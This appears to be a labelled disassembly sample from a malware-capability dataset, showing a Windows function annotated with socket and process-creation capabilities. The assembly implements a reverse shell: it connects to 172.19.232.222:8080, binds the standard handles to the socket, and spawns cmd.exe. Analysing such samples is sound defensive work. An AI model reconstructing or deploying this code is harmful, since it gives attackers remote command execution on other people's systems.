Function at 0x140011316
Capabilities:
Connect socket
Convert ip address from string
Create process on windows
Initialize winsock library

Disassembly:
jmp 0x140012450
push rbp
push rdi
sub rsp, 0x508
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xce
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x4a8], rax
lea rcx, [0x1400250f8]
call fcn.140011442
mov eax, 0x202
mov word [rbp + 0x1c4], ax
lea rdx, [rbp + 0x10]
movzx ecx, word [rbp + 0x1c4]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x1e4], eax
cmp dword [rbp + 0x1e4], 0
je 0x1400124e6
lea rdx, str.Error_initializing_Winsock.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140012779
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0xffffffffffffffff
jne 0x14001253d
lea rdx, str.Error_creating_socket.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140012779
mov eax, 2
mov word [rbp + 0x228], ax
mov cx, 0x1f90
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x22a], ax
lea r8, [rbp + 0x22c]
lea rdx, str.172.19.232.222
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, 0x10
lea rdx, [rbp + 0x228]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0xffffffff
jne 0x1400125dc
lea rdx, str.Error_connecting_to_target.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140012779
mov rdx, qword [rbp + 0x208]
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
je 0x14001261e
mov rdx, qword [rbp + 0x208]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
je 0x14001261e
mov rdx, qword [rbp + 0x208]
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
test eax, eax
jne 0x14001265e
lea rdx, str.Error_redirecting_standard_handles.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140012779
call fcn.1400110e1
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x280]
call fcn.140011370
mov dword [rbp + 0x280], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x308]
call fcn.140011370
mov dword [rbp + 0x2bc], 1
xor eax, eax
mov word [rbp + 0x2c0], ax
lea rax, [rbp + 0x308]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.cmd.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140012738
lea rdx, str.Error_creating_process.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011091
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140012779
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.WS2_32.dll_connect
call fcn.1400113ca
mov rax, rdi
mov rcx, qword [rbp + 0x4a8]
xor rcx, rbp
call fcn.140011226
lea rsp, [rbp + 0x4b8]
pop rdi
pop rbp
ret